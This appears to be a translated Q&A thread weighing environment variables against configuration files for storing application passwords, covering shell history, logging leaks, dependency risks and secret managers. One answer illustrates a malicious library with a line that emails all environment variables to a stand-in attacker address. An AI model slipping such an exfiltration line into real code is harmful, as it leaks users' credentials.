156

我在 Rails、django(和一点点 php)中开发了一些应用程序,我开始在其中一些应用程序中做的一件事是将数据库和其他密码存储为环境变量,而不是某些配置文件中的纯文本(或在 settings.py 中,用于 django 应用程序)。

在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法——也许这并不像最初看起来那样完全安全。

所以,我想知道 - 这是一种安全的做法吗?将密码作为纯文本存储在这些文件中是否更安全(当然,请确保不要将这些文件留在公共存储库或任何东西中)?

4

8 回答 8

78

如前所述,一旦您的系统受到威胁,这两种方法都不会提供任何额外的“安全”层。我相信支持环境变量的最强有力的原因之一是版本控制:我已经看到太多的数据库配置等意外存储在 GIT 等版本控制系统中,供其他开发人员查看(哎呀!它发生在我也是 ...)。

不将密码存储在文件中会使它们无法存储在版本控制系统中。

于 2012-09-17T16:15:53.190 回答
73

在更理论的层面上,我倾向于以以下方式考虑安全级别(按强度增加的顺序):

  • 没有安全感。纯文本。任何知道在哪里查找的人都可以访问数据。
  • 混淆的安全性。您将数据(明文)存储在某个棘手的地方,例如环境变量,或者存储在一个看起来像配置文件的文件中。攻击者最终会弄清楚发生了什么,或者偶然发现它。
  • 加密提供的安全性很容易破解,(想想凯撒密码!)。
  • 加密提供的安全性可以通过一些努力来破解。
  • 加密提供的安全性对于破解当前硬件是不切实际的。
  • 最安全的系统是任何人都无法使用的系统!:)

环境变量比明文文件安全,因为它们是 volatile/disposable,不保存;即,如果您只设置了一个本地环境变量,例如“set pwd=whatever”,然后运行脚本,并在脚本结束时退出您的命令外壳程序,那么该变量将不再存在。你的案子属于前两个,我想说这是相当不安全的。如果您要这样做,我不建议在您的直接 Intranet/家庭网络之外进行部署,然后仅用于测试目的。

于 2012-09-17T14:56:26.817 回答
58

每当您必须存储密码时,它都是不安全的。时期。没有办法安全地存储未加密的密码。现在,哪个环境变量与配置文件更“安全”可能值得商榷。恕我直言,如果您的系统受到威胁,那么它的存储位置并不重要,勤奋的黑客可以追踪它。

于 2012-09-17T14:42:04.413 回答
36

抱歉,我没有足够的代表发表评论,但我还想补充一点,如果您不小心,您的 shell 也可能会在其命令历史记录中捕获该密码。因此,手动运行之类的东西$ pwd=mypassword my_prog并不像您希望的那样短暂。

于 2015-02-04T19:41:35.997 回答
30

我认为,如果可能,您应该将凭据存储在 gitignored 文件中,而不是作为环境变量。

在 ENV(环境)变量和文件中存储凭据时要考虑的一件事是,您使用的任何库或依赖项都可以很容易地检查 ENV 变量。

这可以恶意或不恶意地完成。例如,库作者可以通过电子邮件将堆栈跟踪和 ENV 变量发送给他们自己进行调试(不是最佳实践,但可以这样做)。

如果您的凭据在文件中,那么进入它们的峰值要困难得多。

具体来说,考虑 node.js 中的 npm。让 npm 查看您的凭据(如果它们在 ENV 中)只是简单的process.ENV. 另一方面,如果它们在文件中,则工作量要大得多。

您的凭据文件是否受版本控制是一个单独的问题。不是版本控制您的凭据文件会将其暴露给更少的人。所有开发人员都不需要知道生产凭证。由于这符合最小特权原则,我建议 git 忽略您的凭据文件。

于 2019-08-01T21:29:18.370 回答
12

这取决于您的威胁模型。

您是否试图阻止您的用户在他们的文件系统中散布密码,这些密码可能会被遗忘和处理不当?如果是这样,那么是的,因为环境变量不如文件持久。

您是否正在尝试防范直接针对您的程序的恶意软件?如果是这样,那么不,因为环境变量没有文件所具有的相同级别的访问控制。

就个人而言,我认为疏忽的用户比有动机的对手更常见,所以我会采用环境变量方法。

于 2018-06-27T14:01:51.057 回答
7

其中,使用环境变量存储机密的一个问题是它们可能会被无意泄露:

  • 向用户显示带有上下文(环境变量)的原始错误消息的凌乱代码
  • 监控工具捕获错误和上下文并将其发送/存储以供将来调查
  • 开发人员记录环境变量,将它们保存到磁盘(并可能保存到某些日志处理工具,例如Logstash
  • 受损的依赖项将其可以访问的所有全局变量(包括环境变量)发送给攻击者
  • 设置 env 变量在 shell 历史记录中留下痕迹

存储在配置文件中的秘密的潜在问题:

  • 错误配置的文件权限允许访问随机操作系统用户
  • 开发人员将配置文件添加到版本控制
    • 故意的(不知道不好)
    • 意外地。即使文件被删除(可能在 PR 审查期间),如果没有正确完成,它可能仍然存在于 Git 提交历史中。

与您存储机密的方式无关,如果您的系统受到威胁,您就完蛋了。提取这些只是时间和精力的问题。

那么我们可以做些什么来将风险降到最低呢?

不要以纯文本形式存储/传递秘密。解决该问题的一种方法是使用外部(托管或自托管)机密存储解决方案(例如 AWS Parameter Store、Azure Vault、Hashicorp Vault)并在运行时获取敏感数据(可能缓存在内存中)。这样,您的秘密在传输和静止时都会被加密。

于 2020-09-30T14:26:02.720 回答
3

AFAICT,人们建议将机密存储在环境变量中的原因有两个:

  1. 无意中将秘密平面文件提交到存储库太容易了。(如果它是一个公共回购,你就完蛋了。)
  2. 它可以防止密码混乱,即在许多不同的项目目录文件中使用相同的密钥本身就是一种安全风险,因为开发人员最终会忘记密码的位置。

这两个问题可以通过更好的方式解决。前者应该通过 git commit 钩子来解决,该钩子检查看起来像密码的东西(例如,gitleaks)。我希望 Linus 在 git 库的源代码中构建了这样一个工具,但是,唉,这并没有发生。(不用说,秘密文件应该总是添加到.gitignore,但你需要一个钩子,以防有人忘记这样做。)

后者可以通过拥有一个全球公司机密文件来解决,该文件理想地存储在只读共享驱动器上。所以,在 Python 中,你可以有类似from company_secrets import *.

更重要的是,正如其他人所指出的,破解存储在环境变量中的秘密太容易了。例如,在 Python 中,库作者可以插入send_email(address="evil.person@evil.com", text=json.dumps(os.environ)),然后如果您执行此代码,您就大功告成了。如果您的系统上有一个名为~/secret_company_stuff/.my_very_secret_company_stuff.

仅限 Django 用户:
如果出现异常(在 DEBUG 模式下),Django(在 DEBUG 模式下)会在浏览器中显示环境变量的原始值。例如,如果开发人员不小心将其DEBUG=True投入生产,这似乎非常不安全。相比之下,Django 确实通过在框架文件的变量名中查找字符串、、、、或来混淆密码设置API变量。TOKENKEYSECRETPASSSIGNATUREsettings.py

于 2020-08-13T20:19:56.003 回答